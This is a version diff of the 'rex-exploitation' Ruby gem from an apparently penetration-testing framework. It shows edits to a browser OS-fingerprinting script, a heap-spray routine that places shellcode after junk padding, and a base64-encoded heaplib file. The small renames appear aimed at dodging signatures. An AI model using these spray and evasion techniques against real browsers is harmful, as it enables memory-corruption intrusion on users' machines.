rex-exploitation 0.1.10 → 0.1.11

Sign up to get free protection for your applications and to get access to all the features.
Files changed (9) hide show
  1. checksums.yaml +4 -4
  2. checksums.yaml.gz.sig +0 -0
  3. data.tar.gz.sig +0 -0
  4. data/data/js/detect/os.js +6 -6
  5. data/data/js/memory/property_spray.js +2 -1
  6. data/lib/rex/exploitation/heaplib.js.b64 +3 -2
  7. data/lib/rex/exploitation/version.rb +1 -1
  8. metadata +2 -2
  9. metadata.gz.sig +0 -0
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA1:
3
- metadata.gz: abf1612b6de15d21c4d0364fe4fea354c5cfc4ee
4
- data.tar.gz: 9f7b075087eeab3c2cddfc21099df57407c4b33f
3
+ metadata.gz: 45940b1990fb22c0fb3459d49c3d8a8a3849840c
4
+ data.tar.gz: ee825e91fc633817f4821c09837d4fb7f7db5976
5
5
  SHA512:
6
- metadata.gz: 1614771fd69f7ed43b01a2f926a703febb3604af800b997c40907e3a33aeadb2813aa77c7a16ec86405d8623927ff2431d4de64d4eaa3a3698b097a2965cddb0
7
- data.tar.gz: 437a238451bedb9613b93795000fe7f08bf980e9835ad533b04bcfc9b8bb88decf836ad5dc990cb9d1d465be6a58e0db05a269f4f1c076764147a572332929ec
6
+ metadata.gz: c3072b0583cc235df16848ccddb4e9ec21bb86918c1ef9b6473c3030ef13bf1fb3b0f9f7faaa9f41e197a545a78df314562e672895efbb4dd23c81feea99a269
7
+ data.tar.gz: 77cdcabefffb9c49605ae5625a2172d22a8b237a70c35031c31e407f783237926a0b4fd233cdf6ee01d1ff7b0a8de133c0d707642a69129a1de12f1d63102684
checksums.yaml.gz.sig CHANGED
Binary file
data.tar.gz.sig CHANGED
Binary file
data/data/js/detect/os.js CHANGED
@@ -44,7 +44,7 @@ os_detect.getVersion = function(){
44
44
  var arch = "";
45
45
  var useragent = navigator.userAgent;
46
46
  // Trust but verify...
47
- var ua_is_lying = false;
47
+ var lying = false;
48
48
 
49
49
  var version = "";
50
50
  var unknown_fingerprint = null;
@@ -75,7 +75,7 @@ os_detect.getVersion = function(){
75
75
  if (window.opera) {
76
76
  ua_name = clients_opera;
77
77
  if (!navigator.userAgent.match(/Opera/)) {
78
- ua_is_lying = true;
78
+ lying = true;
79
79
  }
80
80
  // This seems to be completely accurate, e.g. "9.21" is the return
81
81
  // value of opera.version() when run on Opera 9.21
@@ -209,7 +209,7 @@ os_detect.getVersion = function(){
209
209
 
210
210
  ua_version = this.searchVersion(search, navigator.userAgent);
211
211
  if (!ua_version || 0 == ua_version.length) {
212
- ua_is_lying = true;
212
+ lying = true;
213
213
  }
214
214
  } else if (navigator.oscpu && !document.all && navigator.taintEnabled || 'MozBlobBuilder' in window) {
215
215
  // Use taintEnabled to identify FF since other recent browsers
@@ -369,7 +369,7 @@ os_detect.getVersion = function(){
369
369
  ua_version = "1";
370
370
  }
371
371
  if (navigator.oscpu != navigator.platform) {
372
- ua_is_lying = true;
372
+ lying = true;
373
373
  }
374
374
  // oscpu is unaffected by changes in the useragent and has values like:
375
375
  // "Linux i686"
@@ -708,7 +708,7 @@ os_detect.getVersion = function(){
708
708
  //--
709
709
  // Figure out the type of Windows
710
710
  //--
711
- if (!ua_is_lying) {
711
+ if (!lying) {
712
712
  version = useragent.toLowerCase();
713
713
  } else if (navigator.oscpu) {
714
714
  // Then this is Gecko and we can get at least os_name without the
@@ -801,7 +801,7 @@ os_detect.getVersion = function(){
801
801
  }
802
802
 
803
803
  this.os_name = os_name;
804
- this.ua_is_lying = ua_is_lying;
804
+ this.lying = lying;
805
805
  this.os_vendor = os_vendor;
806
806
  this.os_flavor = os_flavor;
807
807
  this.os_device = os_device;
data/data/js/memory/property_spray.js CHANGED
@@ -21,7 +21,8 @@ function sprayHeap( oArg ) {
21
21
 
22
22
  sym_div_container.style.cssText = "display:none";
23
23
  var data;
24
- junk = unescape("%u2020%u2020");
24
+ foo = "%u2020%u2020";
25
+ junk = unescape(foo);
25
26
  while (junk.length < offset+0x1000) junk += junk;
26
27
 
27
28
  data = junk.substring(0,offset) + shellcode;
data/lib/rex/exploitation/heaplib.js.b64 CHANGED
@@ -54,8 +54,8 @@ YXhBbGxvYyA9IChtYXhBbGxvYyA/IG1heEFsbG9jIDogNjU1MzUpOw0KICAg
54
54
  IHRoaXMuaGVhcEJhc2UgPSAoaGVhcEJhc2UgPyBoZWFwQmFzZSA6IDB4MTUw
55
55
  MDAwKTsNCg0KICAgIC8vIEFsbG9jYXRlIGEgcGFkZGluZyBzdHJpbmcgdGhh
56
56
  dCB1c2VzIG1heEFsbG9jIGJ5dGVzDQogICAgdGhpcy5wYWRkaW5nU3RyID0g
57
- IkFBQUEiOw0KDQogICAgd2hpbGUgKDQgKyB0aGlzLnBhZGRpbmdTdHIubGVu
58
- Z3RoKjIgKyAyIDwgdGhpcy5tYXhBbGxvYykgew0KICAgICAgICB0aGlzLnBh
57
+ IkFBQUEiOw0KDQogICAgZm9yICg7NCArIHRoaXMucGFkZGluZ1N0ci5sZW5n
58
+ dGgqMiArIDIgPCB0aGlzLm1heEFsbG9jOykgew0KICAgICAgICB0aGlzLnBh
59
59
  ZGRpbmdTdHIgKz0gdGhpcy5wYWRkaW5nU3RyOw0KICAgIH0NCiAgICANCiAg
60
60
  ICAvLyBDcmVhdGUgYW4gYXJyYXkgZm9yIHN0b3JpbmcgcmVmZXJlbmNlcyB0
61
61
  byBhbGxvY2F0ZWQgbWVtb3J5DQogICAgdGhpcy5tZW0gPSBuZXcgQXJyYXko
@@ -329,3 +329,4 @@ ICAgIHZ0YWJsZSArPSB1bmVzY2FwZSgiJXUwMDI4JXUwMDI4IikgKyAgICAv
329
329
  LyB0d28gc3ViIFtlYXhdLCBhbCBpbnN0cnVjdGlvbnMNCiAgICAgICAgICAg
330
330
  ICAgc2hlbGxjb2RlICsgaGVhcC5wYWRkaW5nKChzaXplLTEzOCkvMiAtIHNo
331
331
  ZWxsY29kZS5sZW5ndGgpOw0KDQogICAgcmV0dXJuIHZ0YWJsZTsNCn0NCg==
332
+
data/lib/rex/exploitation/version.rb CHANGED
@@ -1,5 +1,5 @@
1
1
  module Rex
2
2
  module Exploitation
3
- VERSION = "0.1.10"
3
+ VERSION = "0.1.11"
4
4
  end
5
5
  end
metadata CHANGED
@@ -1,7 +1,7 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: rex-exploitation
3
3
  version: !ruby/object:Gem::Version
4
- version: 0.1.10
4
+ version: 0.1.11
5
5
  platform: ruby
6
6
  authors:
7
7
  - David Maloney
@@ -88,7 +88,7 @@ cert_chain:
88
88
  G+Hmcg1v810agasPdoydE0RTVZgEOOMoQ07qu7JFXVWZ9ZQpHT7qJATWL/b2csFG
89
89
  8mVuTXnyJOKRJA==
90
90
  -----END CERTIFICATE-----
91
- date: 2017-01-31 00:00:00.000000000 Z
91
+ date: 2017-02-23 00:00:00.000000000 Z
92
92
  dependencies:
93
93
  - !ruby/object:Gem::Dependency
94
94
  name: bundler
metadata.gz.sig CHANGED
Binary file